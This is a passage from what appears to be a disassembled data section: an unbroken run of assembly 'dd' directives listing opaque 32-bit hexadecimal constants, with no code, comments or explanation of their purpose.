		dd 9E8C4BAEh, 0C3FE3D8Ch, 0A9D4357Fh, 8470DCFh,	50D8A5B4h
		dd 89FDDA02h, 0F2322F7Fh, 0DCDEDFADh, 0FD170EA4h, 0B7079F11h
		dd 6CDBA39Dh, 0B56A681h, 7DD8FB0Dh, 59D3083Ch, 5371B03Eh
		dd 21C37A41h, 0E598B277h, 2ED4A433h, 1485C32Ch,	623A2262h
		dd 0AC625392h, 1642993Eh, 9DC82AB7h, 0A733D366h, 428B091Eh
		dd 872DB3EEh, 950D32CFh, 2866C9F8h, 9D3387F8h, 0A3B4F0A3h
		dd 5ACB51CCh, 191A0969h, 651FB3F3h, 408D4A4Dh, 0EA52343Ah
		dd 0B0FC04B8h, 0D55B42ACh, 2C7999AFh, 62367C55h, 3FAE9F93h
		dd 89A57E21h, 0EC41DC45h, 392FA495h, 576BB1C9h,	81FC26C9h
		dd 0DB937E7Bh, 0DA56D4F6h, 0B0CA3B89h, 0BEFE204h, 25170075h
		dd 430FA788h, 4E8263h
		dd 0F09F7DBh, 0B34D8107h, 0F4F6E9DBh, 91B30A13h, 0C3391DBDh
		dd 22558A3h, 0D0011B8Fh, 9B663AC0h, 9176F4BEh, 1130A03Eh
		dd 0B94F29B9h, 6FB271A8h, 197B7B79h, 3CFE36B8h,	0F6D84C72h
		dd 0F577D0B4h, 9A2626B4h, 9FF20526h, 0B2BDE432h, 0D08E56ACh
		dd 0CA593F2Dh, 0ED01EBD8h, 7CA758D0h, 28564ED1h, 0FC320619h
		dd 2AE7AEB8h, 8E8A20C6h, 64F73C35h, 49E4F28Bh, 0D094D414h
		dd 57F1E4B0h, 0A4B8BC1Bh, 0FC76038Bh, 9F8C4FA3h, 0DDCAED2Fh
		dd 0E9F4D78Dh, 404C1BB6h, 4ED8EE9h, 19059F35h, 19EF0509h
		dd 7A99FCFBh, 5E78E501h, 138A575Fh, 0E76732AFh,	0E0EE4380h
		dd 4CC1C00Dh, 733A0C32h, 81C78833h, 6E062EBAh, 29331426h
		dd 0DEB4BC57h, 28D96AA1h, 71AF34B8h, 0AB1E60CCh, 0FDA7D05Ch
		dd 0F4E90F19h, 9EF2147Ah, 0DD8B6A20h, 0D36ECAD7h, 0D709FFB8h
		dd 8AC7B8Eh, 2517FFA3h,	477AFC05h, 7D46E262h, 13488321h
		dd 98C6FCF3h, 6D47E2EAh, 60665863h, 0C04C1982h,	0C2A6BBEAh
		dd 4905805Eh, 18A6CC2h,	910840C8h, 2A969C93h, 7415E79h
		dd 80BBD7A0h, 0E0135B49h, 0DC7D6FD7h, 0E9A88702h, 0CB97CEB9h
		dd 0FF81E0B4h, 15799022h, 23C42DFAh, 0A88BA057h, 0FC6C8A4h
		dd 0AF1F1430h, 0B35C5020h, 0F1AC32Eh, 72489A2h,	0B49BFF68h
		dd 0A019F63Eh, 207F85B8h, 0D6FE642h, 57427485h,	1907E0B5h
		dd 1539D53h, 0C4BC58C1h, 0BBC53B6h, 5122EF45h, 75CC299Dh
		dd 10B452C8h, 0D7D1E266h, 9BF932C7h, 0F367691h,	6CA20545h
		dd 0EE321F11h, 0AE04550Dh, 9A5D96A1h, 0FD9C4AC5h, 0D986CCF8h
		dd 152926ACh, 4AAAC76Dh, 97BB9DB4h, 159E3DABh, 88B08877h
		dd 2D477A21h, 0DE85E4ACh, 0DB640133h, 125B495h,	0F29BCB29h
		dd 0EC21A5FAh, 5BE28539h, 0D09467C1h, 0A0407A45h, 0A39CAF0Fh
		dd 2BCD7664h, 0CBC51BF8h, 8FB9C597h, 0E458CE7h,	47F4B3F3h
		dd 81BFEEACh, 0D7B32466h, 4BAE6044h, 0D76D5FB1h, 0E9ECF1A6h
		dd 9BEE5C6Eh, 918109B8h, 0AE8C23EEh, 52505ECFh,	6D4E3DDCh
		dd 1FEEF3ADh, 9471627Bh, 7092940Ah, 0AFF83EAh, 95E705F4h
		dd 9800C426h, 0E7B06907h, 49D0AB95h, 0D60EBE5Dh, 1887C5E5h
		dd 1EBFA01Dh, 61228E55h, 3AA605AAh, 5E4015CAh, 0ABF7714Ch
		dd 5748DB44h, 0EDFE282h, 221D8B89h, 0B2D51C6Dh,	0F644AA4Eh
		dd 0AC6B5E6Eh, 0E094673Bh, 8CA90A4h, 535931E2h,	40AB3734h
		dd 0F315C795h, 0E9615710h, 5C671458h, 0B4FEC9A3h, 2AB263CEh
		dd 148345Ah, 9AE6E3Fh, 81B272Dh, 3601FA47h, 5F266ABh, 0F4C6BC30h
		dd 1B5A185Fh, 972AA1DEh, 0C9074927h, 0D7C0E724h, 0C959A35Bh
		dd 9D6A143Bh, 547028A8h, 44E11EC1h, 0CB781619h,	0D95B95C1h
		dd 2EE9309Bh, 21D4855Bh, 536405CCh, 6287C2F6h, 5A85F420h
		dd 0CEF445AEh, 7F37E9A0h, 0DA228BF5h, 5122EAC0h, 35CC2A86h
		dd 0C8099A9Ch, 7FEC43D6h, 495CA0EDh, 11EC7F37h,	9CFE295Bh
		dd 2AB223DEh, 9162B470h, 0FCB6A9B9h, 708BDCD5h,	59628514h
		dd 0AC1F3362h, 18555DB9h, 0C04D26A8h, 99728CADh, 0DFF8A44Ah
		dd 0D8B55FB8h, 83B536CEh, 0B37B14ECh, 3C8A5205h, 498F2481h
		dd 7B3C74E7h, 27D73629h, 6EF4B038h, 0B8EA193Eh,	1200B713h
		dd 9BE173A8h, 247AB408h, 3EB93B0Fh, 2A41C13Ah, 0C33DF6B4h
		dd 0E8CAE83Ah, 0DC765166h, 0B6C01AD4h, 0BBA08787h, 9D03BC16h
		dd 5C91B858h, 1C89E4A3h, 3F39FDAAh, 423F2E09h, 9AAD3562h
		dd 2A1C5CC5h, 0CD84C6BDh, 0EC6C65C3h, 0F48EB05Ah, 0C43B7DA4h
		dd 6AAF3E70h, 5A9E088Ah, 4CC3EB68h, 0DA83E854h,	0D525F845h
		dd 7194DB18h, 0AA08AB58h, 0DE4257EBh, 519C9A2Ah, 0D314283Dh
		dd 2C4C3FC2h, 7EF0AD9h,	0E2177419h, 0B07BA199h,	2A40E656h
		dd 0EA3A018Fh, 0F3C98A3Bh, 0FDC69429h, 0A9B8C01Dh, 0F041864Ah
		dd 0C3D9367h, 16E19B0Bh, 0D56FCD71h, 514609E3h,	2AB02F57h
		dd 4243DBB9h, 0E73E4DA9h, 57105B10h, 0CB63E9C1h, 0F68BF279h
		dd 920BF586h, 2F5D273Dh, 0E5050ED8h, 0DE0D809Eh, 39BC5FA8h
		dd 349F41A4h, 0BC76EC89h, 3C568195h, 0D6BA4ED1h, 0CFB104F3h
		dd 0B84A7D2Dh, 0AF765FC4h, 0A5007A62h, 941B3A19h, 8517FD3Ch
		dd 0CBC05307h, 0ADBF26DAh, 0E13AF9AAh, 0DC2B09A7h, 54AC3923h
		dd 0C1B3262Dh, 31A70AA3h, 71D5DA0Ah, 1A732718h,	539F11F6h
		dd 18112D75h, 77589DCBh, 5DC69CD2h, 8C0638DFh, 0DCE14FC5h
		dd 0C9EE1044h, 0BC1CBA87h, 0F430A3C8h, 0F1648D37h, 0DDC4A4AFh
		dd 358E3532h, 33849490h, 98DE01ABh, 0E66143Ch, 349044A8h
		dd 0ED903BD1h, 6DB6FCB6h, 9EEB163Eh, 0D1D4295Ch, 0A73D3F89h
		dd 998CE173h, 41E800EDh, 3785CE00h, 0DD71450Bh,	5F34B136h
		dd 6EB40AF5h, 0BE8A9FAAh, 1833D114h, 0C8198253h, 796810E4h
		dd 9D04367Ch, 9B01702Ch, 9174CB89h, 0D4CEA0F8h,	95342C79h
		dd 6C22CC6Ch, 0EE084E45h, 891A540Fh, 7D97EE7Bh,	24BFA465h
		dd 1B6F103Dh, 7192E563h, 260FA876h, 873EA7EDh, 450CDEB4h
		dd 47A0EB33h, 0C92A461h, 7A82CDD1h, 708771F3h, 0DC90817Bh
		dd 0BFF1470Ah, 42B467C5h, 746DE296h, 2613A790h,	29851ED8h
		dd 3BB97134h, 47350D3Fh, 83C8A6DCh, 0DB7692Ah, 0A72DAB69h
		dd 0F743130Ch, 85A479C6h, 1912E297h, 3A9A31C3h,	2972AF5Ah
		dd 0D54C1D90h, 523CD1F0h, 9168B1E9h, 0D4965EF9h, 4226A48Bh
		dd 0F4728F6h, 0B12FB430h, 0E47BD858h, 0EFFE8A02h, 2DCA0137h
		dd 0C9CD6F95h, 32C9CAA4h, 0B06BEC89h, 0E8C92F95h, 44FFC5B7h
		dd 0E9EC8D95h, 652B1059h, 0C83C4826h, 0AA8785B2h, 7C64F2BEh
		dd 69E8379Eh, 3B85E749h, 0E8FC7124h, 0ADB4C096h, 0B3C98575h
		dd 0F5C2116Bh, 0EC9A223Ch, 0B44C05D8h, 0C29A8C9Fh, 0E906AAE0h
		dd 0EA687B8Eh, 417D7F8Eh, 0D4F62B18h, 0A079AE5Fh, 76582BA9h
		dd 1FA2FE4Ah, 2B1BD10Dh, 0FE876EFAh, 0F4B65F15h, 0F6194CB4h
		dd 929DE1AFh, 2F699632h, 88C22DEDh, 0F2AB22D0h,	7A5D9434h
		dd 5961A9E1h, 6BAB129h,	3B654134h, 36FB953Fh, 0AFC3E5C2h
		dd 0BC84756Ch, 0FC1B0D6Dh, 0F517F76Ch, 35D06CE2h, 0E8FC4DBDh
		dd 0BC378B19h, 14C699E0h, 5F43156Fh, 0A32789E2h, 26B146EEh
		dd 0E12BCD04h, 16F8FA83h, 19A09D78h, 9174AD0Bh,	0A1B7894Eh
		dd 7B7219Ch, 0E5FF1265h, 0A462A180h, 2557476Ch,	0A3E772AFh
		dd 18C579B9h, 26F41E8Ch, 5DB23163h, 9977CB8Bh, 374113D4h
		dd 4A36C8E3h, 965A91E8h, 691BB495h, 0A2FC6B2Dh,	5B99023Ah
		dd 90CD4CD6h, 0D3542B34h, 0A59882D0h, 7F66DB14h, 459BF015h
		dd 0B485E7E6h, 0EA3A3A8Eh, 84B90D3Eh, 0D0C98DF3h, 32C59C53h
		dd 6C33DBDCh, 14C925A4h, 0C3D8B69h, 6E869747h, 7813C833h
		dd 1A7C0860h, 6031360Eh, 4673D0F8h, 0E7227EA2h,	0E52ACB4Dh
		dd 8C59150Dh, 0A0638E6h, 1D4694B8h, 9018B31Dh, 937714ADh
		dd 0DFCDAB67h, 8C494F21h, 0F6A85158h, 37EA7236h, 0A95DC263h
		dd 0BDEF4E28h, 31020CA8h, 95566A0Fh, 0EAFAF0BAh, 52682A6Ah
		dd 0FDE4F35Fh, 4392F72Dh, 7EA6A57h, 0C63AC1FBh,	215CE540h
		dd 6429135h, 0A7B25C23h, 0A72C4702h, 4AC7530Eh,	0E29F60Ch
		dd 0EA579C0Eh, 9611658Ch, 186D9632h, 77311263h,	0D947326Dh
		dd 169932BCh, 0F9B839FFh, 421A4B0Fh, 0FE0636F8h, 0AEED9EB9h
		dd 6A713648h, 954B0CAFh, 9464FC2Ah, 3DCBCA23h, 244B8DDEh
		dd 0BA359FD5h, 0A6E7AE19h, 4DE1C7DBh, 0D202F8A7h, 0E0E61CD8h
		dd 0C4A5FDC6h, 0A715F17Bh, 0BFE7F9C7h, 71D76E9h, 0D20C1B01h
		dd 0F1780A62h
		dd 0DF788580h, 0F83DCCFCh, 0A0412DE6h, 1C7DBA9Ah, 4BB800D3h
		dd 0DAA6C3C5h, 0E64BE6F2h, 0D66C9988h, 0CCF9FDB6h, 0A3B02BCAh
		dd 17B95DE1h, 5660BAA1h, 6AD33E2Dh, 0C18117C1h,	90DBEF79h
		dd 48795AB9h, 1B892C66h, 300B0EDh, 8A85E0FEh, 378534ACh
		dd 37A23FE1h, 0B11476F7h, 0F46EE119h, 0D2BFC5DBh, 27ECE76h
		dd 0D96A1CF2h, 0B74A6184h, 0F38972E9h, 0F2C6184Eh, 0CD9DF7A4h
		dd 71F1DB72h, 73C3FD9Fh, 1F7087EBh, 3B42983Eh, 5400542Fh
		dd 0B3CBF1A5h, 18C553D3h, 8F68B48Dh, 9D023783h,	224A511Dh
		dd 14765218h, 0A1AC11CEh, 2B9D21Ch, 6D51B77Dh, 6AC5034Ch
		dd 0CDC80CC1h, 0C83C94E2h, 910EC9BBh, 9040ED43h, 962E1526h
		dd 8207C032h, 0A28992BCh, 0C636FF2Dh, 0AAA80088h, 698B8F82h
		dd 80EB0B58h, 0DD414409h, 1B98E120h, 781AA80Bh,	0AA8AF773h
		dd 0F270BBC1h, 8AD1EBA0h, 420EC750h, 16E94A83h,	1E214154h
		dd 399193Fh, 2D8F68A4h,	6475BA3Fh, 0D1E9B105h, 43AE3B8Ah
		dd 12C99602h, 1813E419h, 0AB0B4E03h, 0A1A05772h, 58BA562Ch
		dd 0E51EFBAAh, 1D82C14Fh, 1233C80Dh, 7F47F67Bh,	86FD646Dh
		dd 1390C03Fh, 680AAB5Ch, 0C159236Fh, 63405523h,	0C029BEACh
		dd 0EBE4E894h, 0A72F2D6Ah, 1D33135Ah, 0F4348FBAh, 0BAA1EFA0h
		dd 0FD7AB83Bh, 288AF16Ah, 726DFB87h, 4EBA672h, 440C1F71h
		dd 92E44853h, 52BE1AD4h, 80C31B39h, 1743DAEAh, 0A5CC67E4h
		dd 0C9976684h, 0DAA4CFC6h, 0FE4BFCE0h, 0D474A99Eh, 0CCFA065Eh
		dd 0C2F46902h, 0DBDD8792h, 318CD5A4h, 998C129h,	40EA470Fh
		dd 0F2FF34FAh, 772EC1BBh, 0E6D0A7CCh, 15FE0A3Dh, 950780FCh
		dd 0AE0616ACh, 98AA6513h, 5DADDF44h, 0CE642D8Dh, 0C5304A8Bh
		dd 9C614175h, 6509AF59h, 20942B52h, 0F0CB72EEh,	77AE7A40h
		dd 599E2D4Bh, 0F0442CB9h, 0F3B148B4h, 10DE0947h, 0B9C1D5FEh
		dd 9F6E5EBh, 960C331Bh,	85C74421h, 0C25A89Ch, 0DC8F4B56h
		dd 5510DF20h, 1A77D692h, 0DDDFAABBh, 52386279h,	3C8F7DDDh
		dd 64D7CE41h, 4C7E6E56h, 7C8CCB32h, 8F0A9075h, 0CBE481C0h
		dd 58709953h, 0D85CE37Fh, 29CD9525h, 2AF23ECh, 8A69D2D9h
		dd 572B2FA2h, 1BC31E58h, 74D805B4h, 443E1E35h, 2021EDC3h
		dd 0ED8B6A68h, 6FB4784Ah, 8803B27Ah, 1DD56EE2h,	66FC7654h
		dd 0FF70862Fh, 33F87BE4h, 9949DF25h, 0AF6BDD7Bh, 5C753ACh
		dd 0BD55AFADh, 9D142D9Ch, 571218B8h, 187B6F20h,	0D2FBB8C4h
		dd 0B9D08904h, 6052AA79h, 205A774Eh, 14747D8Ch,	0AB6A19B3h
		dd 1683E1D0h, 0D6731569h, 12DCF12Eh, 958A4865h,	0A5309CCEh
		dd 0A7E9D0h, 0DEAD72C5h, 23C8A494h, 0AE56C5C6h,	0D1CD5475h
		dd 0DBC2946Bh, 3E542B5Ch, 81D07EADh, 36EFCDABh,	0BAE099FDh
		dd 9B85E518h, 0BAFC4B5Fh, 0F2215D2Bh, 9B4092BDh, 0A98F53B2h
		dd 472031B6h, 85C74F44h, 0C7DA4DAEh, 620651EAh,	55DCAFFAh
		dd 1C671E20h, 62332494h, 466ADFEDh, 4C1625EFh, 6AD339CEh
		dd 84F9E1D4h, 7F45E2E6h, 40D92860h, 184865F1h, 0CA24D963h
		dd 0CF0A39C8h, 4FC09B2Bh, 432D353Dh, 9D535146h,	0A670E424h
		dd 4E8C9296h, 0AA450B96h, 505B9521h, 0D305CAB0h, 0A3EC82E9h
		dd 72E410DAh, 781C8089h, 85E73B65h, 0AE492950h,	22BE0D80h
		dd 0B23110EBh, 6549EF52h, 0AF4A4E04h, 0CC433E57h, 872D177Dh
		dd 6CDBD557h, 5D18B0EAh, 5A9A6EB3h, 0A1BAE5AEh,	42A4D8DCh
		dd 0E505E26Ah, 1D8FF7D5h, 427EB30Fh, 0F40FD5B2h, 0F6E418D9h
		dd 9F7DF6B4h, 0E037D1ADh, 449A8173h, 0F04263EAh, 717F3CACh
		dd 5DD1C544h, 0AE4B5F53h, 4253C7DBh, 9CCB0C16h,	1F6E1E26h
		dd 0E8D2B0C0h, 2650F36Dh, 27EF0F1Eh, 0D4457485h, 380C3699h
		dd 23A63BABh, 6B6D84E8h, 0F3C8779Eh, 0F18F52A6h, 2EB32BFBh
		dd 4B5CC4AAh, 0C2A6EFF2h, 26472BDEh, 97704668h,	1A730EBAh
		dd 3A31A9FBh, 0DB2A963Ah, 9052ABB9h, 6AD73ACEh,	0CBE3C7C4h
		dd 0F69E571Bh, 0FAB3BB30h, 51DB753Fh, 0A9E47822h, 8B801425h
		dd 948954A0h, 962CBEC2h, 8A591558h, 0B45AE119h,	52C5CDC3h
		dd 0EE3A1476h, 5B7E1EDAh, 2281E0C0h, 0AC7B936Ah, 286FF35Ah
		dd 6607748Dh, 0E50CE3CAh, 2D459291h, 17BE0585h,	0ACB1B87h
		dd 0DDCAD847h, 273C7DFBh, 448EC8BEh, 0C2A60F28h, 0EA5533D0h
		dd 96108574h, 186CD502h, 2EE3EC86h, 0D92690D2h,	685BAB61h
		dd 0E928A4F4h, 426AA80Dh, 0B450E1A7h, 0F6862404h, 9B3DE6B4h
		dd 1B7C6240h, 0C6CE4367h, 20DD4F23h, 0B72FA3E9h, 0E4564444h
		dd 3F152FEAh, 6BDAA683h, 183A04FFh, 92087C2Eh, 6E1AA04Ah
		dd 97B8FA67h, 0FEE0FC34h, 6D17FF85h, 0E70EEB45h, 2BBD0289h
		dd 4FBCDA75h, 18C1C77Ch, 7D410EE3h, 7C72B08Dh, 43440C22h
		dd 0F22D0BDAh, 1E523BD0h, 0E589263Eh, 1A60CE22h, 6F322DDBh
		dd 7E55D6B1h, 0E7175D29h, 0B3287610h, 36AA7294h, 0F5536BB2h
		dd 7F6F5D30h, 0A77385F1h, 0A87D54ADh, 0A3598427h, 0BA89D4A8h
		dd 97BADFF4h, 46C4EB32h, 0D7172D9Eh, 660B8E56h,	77794174h
		dd 81909D73h, 2221895Ah, 0A46BB62Bh, 0E7ECB6DDh, 0A29ED3D9h
		dd 35C06D34h, 156985B3h, 12BEDE45h, 9F8B1BFFh, 5841B9CDh
		dd 0AF20B57Dh, 50C5436Bh, 0D7D14528h, 460FCD57h, 5D92BE1Dh
		dd 99B46DD3h, 6FC624EBh, 0B9D21D9Ah, 6448A8ABh,	6CB12E4Eh
		dd 81EFF3CEh, 0E32266E6h, 0D3B620F6h, 0D933765Fh, 37E58A2Eh
		dd 408AC2FAh, 0D44A8BE0h, 705BB7B4h, 9601A2C2h,	0EC84E11Bh
		dd 0DE3E89D4h, 1CA904DAh, 99FFD0ACh, 27597808h,	9804B7Dh
		dd 0AF391FDCh, 0E0304316h, 0AE85E6FCh, 763A25BBh, 18635D18h
		dd 38C1CF9Ch, 3EE1EE25h, 0F47314E5h, 0EB500583h, 0C40625EFh
		dd 3E44A7FAh, 3B65C978h, 9548DD2Ch, 0A9E8F17Eh,	2C2D6944h
		dd 907928E4h, 1F273DAEh, 0E6D85A4h, 0F75B17B7h,	0F3552030h
		dd 0D921B53Dh, 0DB90BADEh, 364EAFFEh, 0C01DF9D6h, 6830DE64h
		dd 0A8495746h, 9856F76Dh, 4DFA4217h, 89938DF3h,	33FEE1E7h
		dd 63DA903Eh, 3BFFB2EEh, 6FE4F2BAh, 179201B4h, 86065E8Fh
		dd 0BDC7C03Eh, 67214DEBh, 0F3C5D7FCh, 0DC6982Dh, 2F386C8Eh
		dd 13C1496Ch, 22F8AA1h,	9D0FF400h, 1E9890CEh, 127865D3h
		dd 9D525B86h, 0D12C55D8h, 120C3B12h, 0F9D4F288h, 37D9B86Fh
		dd 307687D2h, 0F696E475h, 99334DB4h, 667CD1AFh,	304EC38Fh
		dd 574FD821h, 1F6791DAh, 0EA42FD2Ch, 4F54E719h,	957B1D2Ch
		dd 6F14083Bh, 0D7C91C2Bh, 0AA14D485h, 5A2B4A17h, 869B3BD0h
		dd 0E217FEF5h, 90018DDh, 0E93A785Dh, 144B0E6Ch,	3D5D1DCh
		dd 0EDDA986Ch, 3C3C7F7Dh, 43441754h, 0D4A00D6Ah, 93050DCEh
		dd 0D691E849h, 0D271A2A8h, 0A64CAF6Eh, 61C5EA31h, 0EF0FA328h
		dd 9FA6583Eh, 0E92B76C9h, 9F0B719h, 31476E10h, 9CE94DF1h
		dd 25FE5126h, 8DC2D8FEh, 570FD450h, 89B4F02Dh, 941432B3h
		dd 35A4D73h, 7E630D58h,	0AF895700h, 215699E3h, 6E732949h
		dd 0D3850EACh, 660FC329h, 0AE83712h, 0C185E60Eh, 783C3EF3h
		dd 5CB6B63Fh, 73B79593h, 0CDEE98ACh, 0A72C7FFDh, 904D53F8h
		dd 8B6E84FFh, 1E546794h, 0D0955006h, 93F9A2A0h,	2D30A4ABh
		dd 53089612h, 64E412AAh, 856B046h, 0C95EFE2Eh, 0F75F8E71h
		dd 85CD5E4Eh, 1FB8569Ch, 294361D8h, 0E8734DB0h,	44CB9FA8h
		dd 0FCC13EA1h, 0BBCBEC88h, 92E32D6Ah, 7148302Ch, 5C60E597h
		dd 9EE81E37h, 23025F14h, 0DE4CBEF0h, 6CEDFF02h,	0E9633F16h
		dd 28B59DEDh, 757143D7h
		dd 0D11C6EBBh, 0C8B66312h, 0C5892C01h, 0BC443DF2h, 0C0B03F29h
		dd 0F2A647D6h, 9546773Ah, 54EF8C7Fh, 0B1881B3Ch, 0CE44043Eh
		dd 0DBDC1CBCh, 29855AECh, 646FF2BDh, 9E7F817Bh,	0F7A2379Ah
		dd 0FA1D9B20h, 94BA5AE4h, 0AD59B5A5h, 0CA41E424h, 0AB3F1F2Dh
		dd 9F024CA5h, 0F8997C8h, 150FAC79h, 8518B857h, 132EC4C8h
		dd 0EF571C70h, 314E299Fh, 85539C0Ah, 0E0E8AEBBh, 0EEF77F8Dh
		dd 0C100D2EBh, 71A9C320h, 17350C63h, 0E0CAEDF7h, 1E3DC469h
		dd 0AC302D7Eh, 8ECD67DEh, 872EC9A9h, 1617D33Fh,	5BEEA49Dh
		dd 907E8182h, 0E6B7240Eh, 52235679h, 0A57F2A1Dh, 0E18BFBC5h
		dd 13FE6Fh, 0F7CFB9F2h,	0F1578C58h, 0DB92FBB4h,	849D312Eh
		dd 4008C865h, 0C595136Ch, 0ECBB74F9h, 3269A840h, 520A493h
		dd 20FAA6DBh, 172004FBh, 232A7D2Eh, 67C85FABh, 0C350E902h
		dd 0F9F4637Fh, 7E876C87h, 92157174h, 6E38274Bh,	1F350EA4h
		dd 0D49ECB84h, 3DCA30A2h, 29F702F7h, 0C04C8059h, 97530AAAh
		dd 270FE1CAh, 5C595559h, 0D4F77F0Bh, 0A68E4D16h, 8070099Bh
		dd 6E11630Dh, 0E9EF7ECEh, 38C0F883h, 0D447EBB6h, 0F2041844h
		dd 0DD8295DEh, 487DC12Eh, 3848A860h, 0C8C0536Ch, 0B1F1BEACh
		dd 0A6240B2Fh, 0E6DA65B7h, 0C6DA4A57h, 9B7105E3h, 729F8569h
		dd 0E430245Fh, 0A60B799Ah, 98A134F2h, 0EF17FCC9h, 0C9857F71h
		dd 1104407Ah, 0ECCAF47Bh, 4539162Fh, 0E64AD8ADh, 0D3397F7Dh
		dd 0B8C553E0h, 8A2E91ECh, 9E4FD045h, 0B219B98Dh, 188290E8h
		dd 0A48CCD14h, 5213D6E3h, 0E0DF58E9h, 13F47680h, 1EBF38ADh
		dd 8617B8C9h, 7EE66EF8h, 146965F1h, 0D14E6EA3h,	9E720188h
		dd 2524166Ah, 0DADC3228h, 0DD1CEB3Ch, 65A5ACCAh, 2D44ADA7h
		dd 65A82007h, 976F1DF7h, 34D0A79Bh, 507D92h, 951CE102h
		dd 2892E2CBh, 8E0EEBE8h, 0EFCF48Ah, 0F4DA8E1Dh,	0CA4040E8h
		dd 0B5F3D14Eh, 84DB868Ah, 3CD3BB5Bh, 0C2A145B4h, 9D51C73Eh
		dd 0AF1D40D4h, 41C4DD32h, 2A7EC1C5h, 0AD28C6BBh, 1194E56h
		dd 1A39F845h, 0DC7170D4h, 0FC5E74A2h, 0F3BB8B60h, 0BAA473Dh
		dd 0EA07DA39h, 0FCCD90B7h, 0F37C5AA3h, 24BF27A7h, 5DB244D1h
		dd 0AB2E59F3h, 51238FA9h, 8DA14102h, 0B97B9692h, 21B85896h
		dd 2F09936Dh, 6B1865E9h, 195279DDh, 0CD718413h,	8B3A9D1Fh
		dd 0D541EB10h, 2639A2F5h, 11224CD4h, 6BCEF4A0h,	4042A4BCh
		dd 0C20B845h, 0FE60D0D5h, 0A27382B6h, 6E958CFAh, 60859925h
		dd 0D154D9D1h, 0B8BB368Bh, 0E687ACE1h, 0CAAFD00Fh, 7A0F20F5h
		dd 0A3F5AC74h, 0BCD201C0h, 0F4CE212Ah, 0F6374C03h, 7C18094Ch
		dd 18C3487Ch, 4ABA08C6h, 40C02789h, 101849C3h, 419C2F39h
		dd 0DC10C8DDh, 0F3D2FD1Fh, 2939D51h, 586CABF0h,	0DB1FF9D2h
		dd 269E8884h, 2D597ABAh, 0F611339Ah, 0D6332F73h, 0B560B569h
		dd 9A2149FFh, 0C1452EFBh, 47C34133h, 0D1CDDB48h, 5D805A69h
		dd 6E6DBCABh, 0CD4C6435h, 51761326h, 7AD62270h,	0E8BBE715h
		dd 3C086D4h, 9ECDC0Fh, 2900B4F4h, 0C56C9DE7h, 764FD126h
		dd 4B1D7686h, 1CCCD264h, 5E3D37A7h, 4C9CA84Ah, 0E60AA487h
		dd 810CAABDh, 0FA975731h, 1FA45931h, 387C4F17h,	0E5D987E7h
		dd 0D7D8750Ch, 0CB16F1C9h, 1801FA88h, 0A5B9E51Ah, 603D4EDDh
		dd 4120EE88h, 6BF58122h, 59308C3Bh, 483A28C6h, 0ED072A47h
		dd 0CBE9D097h, 0DEDD949Ah, 0E4AD27C8h, 296CEAA3h, 21432FC9h
		dd 95432815h, 0E72B6486h, 3FF0946Ch, 0CB9A7C0Dh, 0FE7EE43Ch
		dd 0D97981C0h, 8E3282D0h, 0B50B0402h, 0EE0ECFAAh, 0CD3D4BC0h
		dd 4D7F202Fh, 48EB5B7Ah, 854ABFB9h, 218C8D38h, 9D9E8229h
		dd 0AF41A635h, 0DC915186h, 5BDEA7B1h, 332F144Dh, 5B44AF66h
		dd 2943200Dh, 3ABE13D0h, 0E3F58315h, 3E76F689h,	593542DCh
		dd 0D0412DB6h, 8721DD45h, 19F50596h, 0A24709E3h, 6E4D5C44h
		dd 44D45ECAh, 513210D1h, 0BDBB40A9h, 6C9990BAh,	0B5EC5247h
		dd 33F7AEA2h, 798B738h,	0D9616036h, 7476E121h, 0D2842E62h
		dd 457218BEh, 9AC1C8B7h, 87B311E6h, 8B16AB00h, 0BE044FBCh
		dd 78B58C01h, 0A53A975Ah, 67B52B57h, 0A7C3569Fh, 5C136E20h
		dd 2D40D123h, 0B57A3301h, 60B3864Fh, 5876355Ah,	1C39F675h
		dd 35F5ABBDh, 53C1D4D3h, 1F482067h, 6B8F071Fh, 4668FDC5h
		dd 55183BF6h, 9EB2DAF8h, 0A4C0278Fh, 55157127h,	815130E0h
		dd 0F18384DAh, 5CEC0A0Dh, 0D1FDA2F7h, 8394AB39h, 9A67BDABh
		dd 0CD32E026h, 4ED8F0FFh, 2045E049h, 0D7CA6CDCh, 35A7EFF9h
		dd 8FEB2017h, 5A68604Ch, 3D10647h, 5AF46DBDh, 476CD367h
		dd 0FFDC8CCFh, 0E291A078h, 0D3E8CA3Ah, 0A77A8EFCh, 22D4E4E1h
		dd 0A0C82849h, 0EFD0D136h, 0B4ED225Fh, 73E6CAA1h, 4983E9D2h
		dd 821D9A98h, 1D2F2411h, 99A07A7Eh, 687DCDCFh, 0E1EED861h
		dd 0F51D5F92h, 5E6DD7F1h, 0C6C36744h, 78EA5282h, 517FE8A5h
		dd 17B5F4A2h, 2A914760h, 3C78017Ch, 9107AB3Ch, 0DA7287BBh
		dd 7FFF5F4Eh, 0B866C8E2h, 1A0624DAh, 65FE5F4Ch,	2A31514h
		dd 0A0E44C8Dh, 0D329E8F1h, 547B6012h, 6764D983h, 2C3F6EC4h
		dd 9D3A26B6h, 0E8DE0502h, 0BB3FDBD6h, 831942CCh, 911DE992h
		dd 7C86AD7Dh, 0B8605D51h, 0F9E5A5BCh, 0FA4C3261h, 72B0F465h
		dd 5062A7DFh, 0BF102991h, 9F284D0Ch, 968AE2F8h,	0FE29F12Bh
		dd 55F95BA5h, 34662806h, 5AAAACB8h, 8ECDC943h, 4D6B8860h
		dd 7F8C4BD2h, 56A9599h,	0D3BF722Dh, 0C0A41368h,	42475215h
		dd 996BCCD0h, 7539B10Dh, 547BD3F2h, 0D4429D22h,	1264FFD5h
		dd 146E5C4Ch, 0F46B0BC6h, 5BFF770Dh, 3E4A3A1Dh,	0B619F6B8h
		dd 26E0C52Ch, 6A5E65EAh, 0E8C88A0Fh, 4F075CB9h,	9B11DA94h
		dd 967AF4F5h, 2F12B2ABh, 0B487EB50h, 0DBEFC779h, 0B15E133Dh
		dd 0AACA0140h, 0B6C2AEB4h, 1620D380h, 0FDB8D032h, 0D73930B1h
		dd 2219DADBh, 0CF07A10Ch, 0DAD7FB53h, 0E976FCF5h, 0A5FFA3BAh
		dd 0C9664996h, 0D01E8CA7h, 0D6C7071Ah, 0F9B57D73h, 74F8271Ah
		dd 10540D19h, 0DA1B46DAh, 1FE5B5B6h, 85ED9813h,	0C9F2BDA2h
		dd 645DD05h, 24F470B2h,	0FB11A169h, 0D36F423Fh,	0DAF48B7Eh
		dd 0D68B582Ah, 0D3E258B1h, 0E295E868h, 0E66F2EF2h, 37430C1Ch
		dd 65FAF4B1h, 34D53A59h, 97226860h, 0F4C5EABFh,	96803497h
		dd 0FA68CE06h, 365A64A0h, 6DA35A5Fh, 6F40DE6Bh,	31A74BCBh
